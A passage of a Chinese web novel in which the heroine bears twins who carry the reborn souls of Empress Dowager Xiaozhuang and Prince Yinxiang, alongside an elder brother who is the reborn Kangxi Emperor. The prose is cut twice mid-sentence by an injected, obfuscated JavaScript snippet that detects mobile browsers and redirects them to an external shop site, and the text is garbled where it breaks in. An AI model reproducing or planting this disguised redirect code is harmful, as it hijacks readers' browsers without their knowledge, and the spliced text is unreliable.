弘历意气风发,柔声说道:“是,要实在论起来那也是你的功劳。” 他抱了会儿子,可这小儿子自始至终都有些迷迷糊糊的模样,不论是看他还是看宝琳都有些呆呆的,后来干脆眼睛一闭睡过去了。 于是弘历又把目光转向了女儿,他对这个刚出生的宝贝女儿也是疼爱非常,这是他的长女,还是和福晋的嫡长女。 只是小格格似乎天生高贵冷艳地很,出生到现在谁的面子都不给,掀起眼皮看一眼就又继续打瞌睡了,连哭一声都没有。 “咱们这女儿倒真是和永琏像极了,都是不怎么爱哭的。” 其实小儿子也不爱哭,只是弘历看着总觉得闺女和大儿子更像些。 “皇阿玛给小阿哥起了名字,叫永瑄。”弘历看向宝琳,问道:“你觉得可好?” 她要是觉得不好也不可能改啊,而且她也不敢说。 这话纯纯就是废话。 “皇阿玛取的名字自然是好的。”宝琳笑着说道。 弘历喜笑颜开地看着女儿的睡颜,又看了看刚刚生产完格外温婉的宝琳说道:“小格格的名字皇阿玛本来也准备取一个,可本王想着自己来取,日后小格格们都从昭字,咱们大格格就取一个玉字,愿她日后怀珠韫玉,唤做昭玉可好?” 昭玉…… 宝琳听了觉得这个名字还算可以,只是女孩子用会不会有些太端正了,她正想着便看到出生到现在都没什么大的神情变化的女儿突然挥了挥小胳膊,似乎在表示她对这个名字很满意。 “……看来大格格也很喜欢这个名字,还真是父女连心。”宝琳假笑着说道。 弘历也抚掌大笑:“还有一桩喜事,皇阿玛为着战事缓和和永瑄昭玉出生,心情大好,破例封咱们大格格为郡主,封号就定为和敬。” 弘历已经是众所周知的下一任皇帝,所以宝亲王世子雍正是不可能册封的,否则就是定下了弘历的太子人选了,以后都是麻烦,可是给女儿封个郡主就没什么了。 这个名字宝琳就很熟悉了,固伦和敬公主,富察皇后的嫡长女。 她点了点头,谢过了雍正的恩典。 只是弘历说完之后突然变地有些犹犹豫豫了起来,似乎想说什么又说不出口。 宝琳疑惑地问道:“王爷,这是怎么了?” “还有一件事。”弘历顿了顿,说道:“皇阿玛想将讷尔布的女儿乌拉那拉氏,指给本王做侧福晋。” 宝琳这才明白为何她这闺女一出生就有了封号,封为郡主了,原来也算是补偿和安抚。 毕竟她这刚刚生产,又塞进来一个侧福晋,总归是有点不合时宜。 弘历在一旁解释道:“这乌拉那拉氏是额娘看中的人,前些日子便向皇阿玛提了,如今也是不巧,皇阿玛下旨时你正好发动。” 熹贵妃前段日子便想给弘历再赐几个妾室,这事宝琳是知道的,原因就是熹贵妃觉得如今宝亲王府里一共就这么几个女人,还有三个身怀有孕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16585489|186455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这可不是委屈了她的宝贝儿子,而且自从宝琳进府之后,两年多来从没添过人,也算是够给她面子了,如今她都生了两胎了,也该松松手进些新人了。 熹贵妃为这事磨了雍正好些日子,起初前线吃紧雍正和弘历都是没这个心思的,可熹贵妃也不知道是哪根筋搭错了,一直软磨硬泡地提了好几次。 本来她是不止挑了乌拉那拉氏一个的,还有三个侍妾也准备一起塞进来,最后是弘历连连拒绝才指了乌拉那拉氏为侧福晋,还有一个熹贵妃身边的年轻宫女姓方的为格格。 只是不巧雍正拟旨时宝琳正好发动了,弘历心疼自己媳妇,便给刚出生的女儿求了郡主的封号,也算是抚慰一二了。 弘历也算是个孝子,虽对熹贵妃算不上百依百顺也是恭谨敬重,能做到这种程度也算可以了,加上这事宝琳早就听到了风声,所以她对府里多了个侧福晋倒没什么波动。 只是来了这么个空降的侧福晋,金氏一直想提为侧福晋的美梦要落空了。 “咱们府里侧福晋的位置一直空着一个,皇阿玛和额娘指一个妹妹来是最好的了。”宝琳看着和敬眨着眼睛看她,笑了笑说道:“妾身记着额娘身边有个去年小选进宫的宫女姓方,也很是喜爱,可是要一起进咱们府里来?” “……” 弘历本来还怕宝琳伤心,准备缓缓地说,结果不成想宝琳已经什么都知道了。 他略想一想便知道定是额娘在她耳边说过多次,想到这他也不禁有些不满起来。 宝琳还怀着孩子,额娘同她说这些真是有些太过了。 弘历思及此,握住宝琳的手柔声说道:“你放心,府里便是有再多女人,本王始终最牵挂的还是你和咱们的孩子,若是她们不安分,你尽管打发了,你如今刚刚生产完,万不能和她们动气。” 弘历这话还真是心里话,不论金氏和高氏有多娇媚可人,合他心意,在他心底最喜爱偏宠的还是宝琳,他们是少年夫妻,宝琳又一直善解人意,替他打理着宝亲王府和宫里的事,从不让他为难,还给他生了两儿一女,真真是一点毛病都挑不出来。 宝琳笑了笑,心道过几年弘历登基了,那女人更是海了去了,她吃饱了撑的给自己找不自在。 只是现在她还是温柔地说道:“妾身和王爷是结发夫妻,定然不会让王爷和额娘为难,何况入了府便都是姐妹,妾身都会照顾好的,王爷放心就是。” “既然皇阿玛已经下旨,也不好让侧福晋和方妹妹久等了,咱们就大大方方接她们入府,大家都能和和气气的。” 宝琳这话一说完,弘历简直是感动地不得了,握着她的手又说了好多体己话,最后是宝琳实在是不耐烦了,才打发他去看看富察氏,她算是早产,富察氏如今也是随时都有可能发动的。 弘历走了,宝琳才松了口气,永瑄和和敬并排躺在一起,永瑄还在闭着眼睛像是睡着了,和敬却是在歪着头看她,宝琳笑道:“我怎么看着和敬比永琏还要聪明些,你看她这眼睛,灵慧剔透的,哪像是个刚出生的孩子。” 永瑄的小耳朵动了动,悄悄地睁开了眼,打量这个比他早出生了一会的姐姐。 21. 第二十一章 芙蓉在一旁笑着说道:“是呢,咱们格格日后定然是又漂亮又聪慧的。” 襁褓里的小和敬打了个哈欠,想道她又不是真正的婴儿,自然不会又哭又闹的了,只是她这一世的额娘看着人漂亮又温柔,还很会拿捏夫君的样子,看她刚才那便宜阿玛被哄地找不着北的样子就知道了。 看着闺女怎么看都喜欢的宝琳自然也不知道,她这小闺女的身体里是大清的孝庄文皇后,博尔济吉特·布木布泰,要是算辈分都是叫不明白的老祖宗了。 在康熙二十六年就已经薨逝的布木布泰别说宝琳了,就连弘历那时候都没影呢,所以当布木布泰睁开眼发现自己重新投胎成了一个婴儿,还是龙凤胎中的姐姐的时候,一时之间只能通过装扮认出这还是大清朝,只是人她却是一个都不认识。 只能通过下人和她额娘阿玛的对话,知道她应当是投胎在了一个王府中,祖父是当今皇帝,额娘是嫡福晋,而她是嫡长女,还被封为了郡主,她应当还有一个一母同胞的哥哥,再就是和她一起刚刚出生的弟弟。 上一世是爱新觉罗家的媳妇,这一世倒好直接成了爱新觉罗家的女儿了。 因着她上一世小字叫做玉儿,所以对这个便宜阿玛给她起的名字她还算是满意,至于封号听着也不错,起码到现在为止布木布泰还是很满意这一世的。 而且额娘待她也很是不错,是不是真心疼爱布木布泰还是能感觉地出来的。 而另一个襁褓里探头探脑的永瑄显然还处于生无可恋,无法接受的阶段。 胤祥明明刚刚和如今在皇阿玛身体里的永琏告别完,随后他便心满意足地怀揣着慰藉离开了。 只是奇怪的是他死后并没有到什么地府更没有转世投胎,而是作为一个幽魂在紫禁城里飘荡。 只是这个紫禁城和他记忆中的有些许不同。 弘历的福晋富察氏头胎并没有生下永琏,而是一个刚刚出生就夭折的女儿,随后才在雍正八年又生下了永琏,而他在雍正八年去世的时候永琏明明已经两岁了。 而且这个永琏据他观察也根本不是皇阿玛,弘历的福晋虽然模样没变但他怎么看总觉得不像是一个人。 弘历继位之后,永琏九岁又早早夭折,富察氏后来生了皇七子永琮,也是幼时即殇,最后在乾隆十三年就芳华早逝。 后来胤祥又在紫禁城里不知道飘荡了多少年,看着一个个的故人离世,皇位更迭,直到洋人打进了紫禁城,胤祥看着他们在紫禁城里到处烧杀抢掠目眦欲裂却无能为力,无比悲愤之下,他眼前一黑,再睁开眼就莫名其妙地成了弘历和他的福晋的次子。 又回到了他熟悉的那个世界,胤祥起初是有一些混乱的,他飘在紫禁城上方看地多了,都有些分不清这两个世界到底哪个是真的,哪个是假的了。 但是回到如今,他多了个一母同胞的姐姐不说,这样一来,皇阿玛还成了他的哥哥! 弘历那小子成了他的阿玛,四哥成了他皇爷爷! 一向洒脱看得开的十三爷现在也有些许看不开了。 老天爷这到底是跟他开了个什么玩笑啊。 而且他这个姐姐,胤祥端详着也觉得应当不是普通的婴儿,只是他怎么打量也没瞧出来是哪个熟人。 这也怪不得胤祥,胤祥在康熙二十五年出生,孝庄太皇太后在康熙二十六年薨逝,所以他对这个赫赫有名的曾祖母实在是没有什么印象。 同样的布木布泰也在打量这个自己一母同胞的弟弟,她也觉得自己这个小弟估摸着也是不寻常,哪有孩子像他们两个一样,刚出生就不哭不闹的,只是如今她也猜不出这人的身份。 而宝琳却已经习以为常,没有一点惊讶,毕竟玄烨当时也是这样,她又没生过别的孩子,自然以为孩子也有聪明懂事的,她运气好,生了三个都是顶顶乖巧的。 胤祥的纠结并没有持续太久,一会儿他就突然福至心灵,想开了。 上天让他看了大清的兴衰,又带着记忆转世一回,想来也是想让他匡扶大清,让百姓不要再遭受如此苦难,而且这还有皇阿玛,他还有什么不知足的呢。 这么想着他便迅速接受了自己永瑄的身份,咧开小嘴笑了笑,宝琳果然把他抱了起来。 “永瑄也醒了,让额娘抱抱。” 正当永瑄被宝琳抱在怀里哄着玩的时候,突然听到一个丫鬟进来说道:“福晋,二阿哥来了。” 随后永瑄和昭玉便听到自家额娘含笑说道:“快让永琏进来。” 胤祥眼前一亮,皇阿玛来了! 布木布泰也扬起了头,原来是她这一世一母同胞的亲哥哥。 她扭了扭身子,还挺好奇,不一会就有一个穿着一身靛青色衣裳,看着三四岁模样的男童进来了,虽然年纪小可品貌不凡,贵气十足。 只是这模样…… 怎么这么像玄烨啊!!! 玄烨利索地给宝琳行礼问安,一抬头便看到了他刚出生的妹妹张着嘴巴呆滞地看着他,弟弟的眼神却有些躲躲闪闪的。 好像有哪里不对劲,他立马眯了眯眼睛。 宝琳笑着招手:“永琏,快来看看妹妹和弟弟。” 玄烨上前了几步,直接坐在了床边,依偎着宝琳,探头看了看襁褓里的妹妹,笑着说:“妹妹长地真漂亮。” 怎么就是看着有点傻乎乎的。 布木布泰一出生就是白白嫩嫩的,尤其在皱皱巴巴的胤祥衬托下就更显得漂亮可爱了。 宝琳也发现了一直没什么表情的女儿,不知为何一脸呆滞,她摸了摸她的小脸,柔声说道:“看哥哥看呆了?这是哥哥,叫永琏。” 什么永琏,这分明就是玄烨! 布木布泰缓过神来,看着这“永琏”脸上她熟悉的表情神色更加确定这就是玄烨那小子了! 毕竟她可是一手把玄烨带大扶上皇位的,熟悉的简直不能再熟悉了。 只是玄烨为何会在这里,还成了她一母同胞的哥哥,难道是和她一样重新转世投胎了? 布木布泰还在犹疑思索着现在的情形,宝琳轻轻地拍了拍她,说道:“永琏,阿玛给妹妹起了名字叫昭玉,你皇爷爷也封了妹妹为郡主,封号定了和敬,弟弟你皇爷爷给取了名字,叫永瑄。” 宝琳看着永瑄听到他的名字之后很给面子的咿咿呀呀地叫了一声,只是她这小闺女对这几个名字,好像都没有什么太大的反应。 玄烨对这白白嫩嫩的妹妹显然是更感兴趣,暂时忽略了一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16595579|186455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极力地想往他身上蹭的胤祥,听闻弘历给取了名字叫昭玉,他也难得满意地点了点头,说道:“这名字取地不错,那以后儿子便叫妹妹玉儿了。” 没成想玄烨一叫玉儿这个名字,宝琳便发觉襁褓里的闺女有动静了,她蓦地瞪大了双眼,咿咿呀呀地叫了两声。 这还是出生以来宝琳第一次见她出声,立刻惊喜道:“看来玉儿喜欢咱们这么叫她,你是不知道你妹妹安静地很,除了出生时哭了两声,到如今一声都没出过。” 永瑄虽然也不爱哭,但是时不时地还会发出点动静来。 虽说孩子安静也挺好的,可宝琳总有些担心孩子是不是哪里有问题或者不舒坦,如今听玉儿有动静了她才放下心来,那看来只是闺女性子安静而已。 不爱出声? 玄烨挑了挑眉,再看向这个妹妹时他便带上了些探究的神色。 这该不会是和他一样,是带着记忆投胎的吧? 只不过这芯子里面是谁,还得等他再仔细瞧瞧。 他这个弟弟看着倒是正常不少,也得再观察观察。 而此时的玉儿也是怒目圆睁,虽然看着只是很可爱罢了。 这个玄烨,没大没小! 竟然敢直呼她的名讳! 不过比起那些名字封号,还是玉儿她听着顺耳……算了,就这么着吧。 一旁的胤祥眼神在宝琳,玄烨和玉儿身上打转,他琢磨着自己这个姐姐八成也不是什么普通孩子,看皇阿玛刚刚的神色似乎也意识到了,只是可惜他现在不能说话,否则就可以和皇阿玛相认了。 玄烨把玉儿的事暂时先丢到了脑后,毕竟孩子还小现在也看不出什么来,他抱着宝琳的胳膊撒娇道:“额娘,小舅舅什么时候来咱们府上啊?” 傅恒这两年常来宝亲王府小住,来了便和玄烨玩在一处,加之傅恒又确实是个文采武功都极为出挑的,玄烨还挺喜欢跟他这个小舅舅一起玩,而且每次傅恒来了宝琳也高兴,这些玄烨都是看在眼里的。 “傅恒这些日子在家中读书。”宝琳想了想说道:“待额娘好些了,带你去富察府逛逛可好?” 说到这宝琳才想起,玄烨出生之后还没有带着他去过富察府,论起来也是她父母都已经不在了,她平时也不怎么回去了。 富察府玄烨从前是去过不少次的,毕竟马齐也算是他的爱臣,只是不知道如今富察府是什么模样,所以宝琳一提他也欣然答应了,又缠着宝琳撒娇卖痴说晚上想和宝琳一起睡,实际上只是想哄宝琳开心。 而被宝琳抱在怀里的玉儿已经看呆了。 这还是玄烨吗? 应该是她认错了吧…… 玄烨自小被送出宫养育,回来不久佟佳氏又早逝,所以这孩子自小就早慧,哪怕是她一手把他抚养长大,也没见过他现在这副样子。 如果永琏真的是玄烨,那看来这一世,玄烨过地很是幸福。 而胤祥却见怪不怪,他打了个哈欠也往宝琳怀里钻,试图通过卖萌插到宝琳和玄烨中间,只是现在他只能贴地摩擦,看着像个蠕动的小肉虫。 玉儿:“……” 她这个哥哥和弟弟真是没眼看。 两个男孩这么粘额娘算什么事。